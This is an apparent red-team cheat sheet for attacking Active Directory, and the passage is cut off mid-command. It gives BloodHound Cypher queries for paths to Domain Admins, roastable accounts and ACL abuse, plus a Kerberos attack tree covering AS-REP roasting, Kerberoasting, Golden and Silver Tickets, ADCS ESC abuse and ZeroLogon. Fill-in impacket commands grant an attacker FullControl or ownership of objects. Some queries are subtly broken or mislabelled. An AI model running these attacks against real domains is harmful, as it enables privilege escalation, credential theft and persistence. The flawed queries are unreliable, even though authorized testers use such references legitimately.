BloodHound Cypher Queries (Neo4j / BloodHound CE)
Shortest Attack Paths
-- Shortest path from any owned computer to Domain Admin
MATCH p=shortestPath((c:Computer {owned:true})-[*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"}))
RETURN p
-- Shortest path from any owned user to Domain Admin
MATCH p=shortestPath((u:User {owned:true})-[*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"}))
RETURN p
-- All paths from owned nodes to Domain Admin (expand search)
MATCH p=allShortestPaths((n {owned:true})-[*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"}))
WHERE NOT n=g
RETURN p
-- Shortest path from any node to DA (non-DA owned)
MATCH (n), (g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"})
WHERE n.owned = true AND NOT n IN nodes(shortestPath((n)-[*1..]->(g)))
MATCH p=shortestPath((n)-[*1..]->(g))
RETURN p LIMIT 10
High-Value Target Discovery
-- All Domain Admin users (including nested group membership)
MATCH (u:User)-[:MemberOf*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"})
RETURN u.name ORDER BY u.name
-- All Domain Controllers
MATCH (c:Computer)-[:MemberOf]->(g:Group {name:"DOMAIN CONTROLLERS@DOMAIN.LOCAL"})
RETURN c.name, c.operatingsystem
-- Find all computers where DA users are logged on
MATCH (u:User)-[:MemberOf*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"})
MATCH (u)-[:HasSession]->(c:Computer)
RETURN u.name, c.name, c.operatingsystem
-- Users with path to Domain Admin count (ranked)
MATCH (u:User), (g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"})
WHERE EXISTS(shortestPath((u)-[*1..]->(g)))
RETURN u.name, u.enabled
ORDER BY u.name
Kerberoastable Accounts
-- All Kerberoastable users with path to DA
MATCH (u:User {hasspn:true})
WHERE u.enabled = true
OPTIONAL MATCH p=shortestPath((u)-[*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"}))
RETURN u.name, u.serviceprincipalnames, p IS NOT NULL AS has_da_path
ORDER BY has_da_path DESC
-- Kerberoastable users not requiring password change
MATCH (u:User {hasspn:true, enabled:true, pwdneverexpires:true})
RETURN u.name, u.serviceprincipalnames, u.description
AS-REP Roastable Accounts
-- All users with "Do not require Kerberos preauthentication" set
MATCH (u:User {dontreqpreauth:true, enabled:true})
RETURN u.name, u.description, u.admincount
-- AS-REP roastable with path to DA
MATCH (u:User {dontreqpreauth:true, enabled:true})
OPTIONAL MATCH p=shortestPath((u)-[*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"}))
RETURN u.name, p IS NOT NULL AS has_da_path
Unconstrained Delegation
-- Computers with unconstrained delegation (excluding DCs)
MATCH (c:Computer {unconstraineddelegation:true})
WHERE NOT c.name CONTAINS "DC"
RETURN c.name, c.operatingsystem, c.description
-- Users with unconstrained delegation
MATCH (u:User {unconstraineddelegation:true, enabled:true})
RETURN u.name, u.admincount, u.description
Constrained Delegation
-- Users with constrained delegation (check for S4U2Any)
MATCH (u:User)
WHERE u.allowedtodelegate IS NOT NULL AND u.enabled = true
RETURN u.name, u.allowedtodelegate
-- Computers with constrained delegation
MATCH (c:Computer)
WHERE c.allowedtodelegate IS NOT NULL
RETURN c.name, c.allowedtodelegate
ACL / ACE Abuse Paths
-- Who has GenericAll on Domain Admins group
MATCH (n)-[:GenericAll]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"})
RETURN n.name, labels(n)
-- Users with WriteDACL on any object (dangerous ACE)
MATCH (u:User)-[:WriteDACL]->(t)
RETURN u.name, labels(t), t.name
ORDER BY u.name
-- All objects with GenericWrite on high-value targets
MATCH (n)-[:GenericWrite]->(t)
WHERE t.admincount = true
RETURN n.name, labels(n), t.name, labels(t)
-- ForceChangePassword edges (password reset without current pw)
MATCH (n)-[:ForceChangePassword]->(u:User {enabled:true})
RETURN n.name, labels(n), u.name
-- Owned computers that can dcsync (HasDCSync)
MATCH (n)-[:DCSync]->(d:Domain)
RETURN n.name, labels(n), d.name
-- Computers where owned user has local admin
MATCH (u:User {owned:true})-[:AdminTo]->(c:Computer)
RETURN u.name, c.name, c.operatingsystem
Session / Reachability
-- Find computers reachable from owned users (local admin)
MATCH (u:User {owned:true})-[:AdminTo]->(c:Computer)
RETURN DISTINCT c.name, c.operatingsystem
-- Find lateral paths from any owned to any DA-session computer
MATCH (u:User {owned:true})-[:AdminTo]->(c:Computer)<-[:HasSession]-(da:User)-[:MemberOf*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"})
RETURN u.name, c.name, da.name
Kerberos Attack Decision Tree
Target: Active Directory Environment
│
├─ No credentials? → Try AS-REP Roasting (impacket-GetNPUsers, no auth required)
│ └─ Got hash? → hashcat -m 18200
│
├─ Got valid username + password?
│ ├─ Can enumerate SPNs? → Kerberoasting (impacket-GetUserSPNs)
│ │ └─ Got hash? → hashcat -m 13100
│ ├─ Has unconstrained delegation?
│ │ └─ Get TGTs from connections → Rubeus / mimikatz monitor
│ └─ Has constrained delegation?
│ └─ S4U2Self + S4U2Proxy → impacket-getST -spn
│
├─ Got NTLM hash (not cracked)?
│ ├─ Pass-the-Hash → impacket-psexec/wmiexec/smbexec -hashes
│ └─ Silver Ticket (if target SPN known + machine hash available)
│ → impacket-ticketer -nthash [machine hash] -spn [SPN]
│
├─ Got DA credential / krbtgt hash?
│ └─ Golden Ticket → impacket-ticketer -nthash [krbtgt hash] -domain-sid [SID]
│ → Persist for 10 years, roam any service
│
├─ Got ADCS (Certificate Services) present?
│ ├─ ESC1 (template allows SAN) → certipy req + authenticate
│ ├─ ESC4 (write on template) → certipy template + ESC1 exploit
│ ├─ ESC6 (EDITF_ATTRIBUTESUBJECTALTNAME2) → certipy req any UPN
│ └─ ESC8 (web enrollment NTLM relay) → ntlmrelayx → certipy auth
│
└─ ZeroLogon (CVE-2020-1472)?
└─ impacket zerologon → reset machine account pw → DCSync
ACE / ACL Abuse Cheatsheet
| ACE Type | Target Object | Exploit | Tool |
|---|
| GenericAll | User | Change password / add to group | net rpc password, impacket-dacledit |
| GenericAll | Group | Add any member | net rpc group addmem |
| GenericAll | Computer | Configure RBCD, change msDS-AllowedToActOnBehalfOfOtherIdentity | impacket-rbcd |
| GenericAll | GPO | Add computer startup script → RCE | impacket-owneredit + GPO edit |
| GenericWrite | User | Write ServicePrincipalName → Kerberoast target | impacket-addspn |
| GenericWrite | Computer | RBCD attack | impacket-rbcd |
| GenericWrite | Group | Add member | net rpc group addmem |
| WriteDACL | Any | Grant yourself GenericAll | impacket-dacledit |
| WriteOwner | Any | Take ownership → WriteDACL → GenericAll | impacket-owneredit |
| ForceChangePassword | User | Reset password without knowing current | net rpc password $USER |
| AllExtendedRights | User | Change password + read LAPS | net rpc password $USER |
| AllExtendedRights | Domain | DCSync | impacket-secretsdump |
| DS-Replication-Get-Changes | Domain | DCSync (both rights needed) | impacket-secretsdump |
| AddMember | Group | Add self to group | net rpc group addmem |
| ReadLAPSPassword | Computer | Read local admin password | pyLAPS / crackmapexec smb --laps |
| ReadGMSAPassword | Service Account | Read gMSA password blob | gMSADumper.py |
DACL Abuse Commands
# Check current ACLs on an object
impacket-dacledit -action read -target "$TARGET_USER" \
"$DOMAIN/$ATTACKER_USER:$PASS" -dc-ip $DC_IP
# Grant GenericAll to attacker user
impacket-dacledit -action write -rights FullControl \
-target "$TARGET_OBJECT" -principal "$ATTACKER_USER" \
"$DOMAIN/$ATTACKER_USER:$PASS" -dc-ip $DC_IP
# Take ownership of object (WriteOwner)
impacket-owneredit -action write -new-owner "$ATTACKER_USER" \
-target "$TARGET_OBJECT" "$DOMAIN/$ATTACKER_USER:$PASS" -dc-ip